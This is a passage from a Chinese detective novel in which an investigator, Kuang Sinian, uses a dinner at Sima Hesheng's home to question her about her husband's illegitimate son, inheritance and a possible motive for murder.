她想起医院里的那一夜,还有他在停车场里送给她的红围巾。她将戴着手表的手缩到身后,和邝斯年错开了目光。 “是,朋友送的。” 邝斯年说着,走上前来和司马荷生握手,谈起了今天来拜访的事。他嘴里说着叨扰了的寒暄话,手脚却没有半点要离开的意思。 天光快要散尽,此时恰好饭点,司马荷生笑眼弯弯地看着他,过了许久,问他:“来都来了,要留下来一起吃饭吗?” “那怎好意思?”邝斯年一张冷脸波澜不惊,坚定不移地杵在原地。 司马荷生眯起了眼:“多双碗筷而已。这段时间我们家发生了这么多事,辛苦你们了。” 童鸢的目光在邝斯年和刘毅脸上逡巡。后者明显受惊,随后舔了舔嘴唇,刚摸进口袋里的手犹豫了片刻后拿了出来,里面没有能量棒。 童鸢心中叹息,怕这顿饭吃得不简单。 菲没想到一转身就多了两张嘴,急忙进厨房又炒了三个菜。童鸢没对邝斯年表现出丝毫亲昵,也不敢过分疏远,更不可能像往常那样不怀好意地卖乖,只握着筷子,埋头苦吃,偶尔答几句非答不可的话。 这些话主要来自司马荷生。她话里话外总在试探着什么,那态度,那语气,和任莲竟有几分相像。 她对邝斯年说:“不好意思,之前误会你是阿鸢的男朋友了。冒昧问一句,你现在有女朋友吗?” 童鸢咬到了舌头,一张脸登时疼得五颜六色。 “没有,”邝斯年抬起 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司马荷生:“那年疫情,酒楼被迫停业,他为了还债来我爸的工厂打工,就这样,很普通。” “你们好像一直没有要小孩?” 邝斯年的问题像突然投入玻璃杯的热水,扰动了空气。 司马荷生:“对,司马伯爵是我父亲毕生的心血,我不愿任何东西扰乱他,即使是孩子也不行。” 骤然离开保温壶的开水逐渐降温。 邝斯年:“你先生也是这么想的吗?” 司马荷生:“我问过他,他说无所谓。他有那么多的兄弟和侄子,总有人能继承叹世界。” “但如果,他在这世上还留着别的血脉呢?” 童鸢的心跟随着邝斯年的话砰砰直跳。她突然猜不透邝斯年,他到底想说什么? 司马荷生仰头抿着酒,垂着眼睫看向邝斯年:“结果出来了,对吗?” 邝斯年说:“没错。我们之前跟你提起过现场的DNA报告,慎重起见,我们重新做了一次鉴定。目前可以确定,死去的家庭医生的儿子确实是海秀仪和金少立所生的。” 果然,邝斯年来这里就不可能是单纯吃饭。 从水吧的角度,童鸢看不见司马荷生的表情,只听到她略作停顿,随后说了句:“是吗?” 邝斯年:“你过去一直都不知道吗?” 司马荷生长叹一声:“我很忙的。等我回过神来的时候,我们之间的感情就淡了。但叹世界是家族企业,离婚会造出很大的动静,所以我们心照不宣地维持着现在的关系,” 邝斯年:“私生子会影响遗产继承,不是吗?” 言下之意,司马荷生为了保护自己的财产,有足够的动机设计杀人。 司马荷生摇晃着酒杯:“你知道我司马伯爵一年的利润是多少吗?即使没了金少立,我依然不愁吃穿。” 邝斯年:“但那样的话,令尊之前的投资就化为乌有了。” 司马荷生笑了:“这二十年的通货膨胀率是多少,邝探员你知道吗?光是分红,家父投出去的钱早就收回来了,而且不止二十倍。我什么都不用做,就可以让金家的人贴贴服服地为我挣钱,不挺好的吗?” “这么说来,叹世界还是你的摇钱树。” “没错。” “但如果他们给你的钱原本就是从你的口袋里掏出来的呢?”邝斯年亮出了底牌。 “所以我最近在对账啊,”司马荷生也亮出了自己的底牌,“小邝啊,你在何玥那里碰到钉子了,对吗?你不该怀疑我,你需要我的帮忙。” 邝斯年停顿许久,久到童鸢无法再在水吧持久地待下去,他才笑着说:“司马夫人,这是想要合作的意思吗?” 司马荷生:“看你想从何玥身上得到什么。”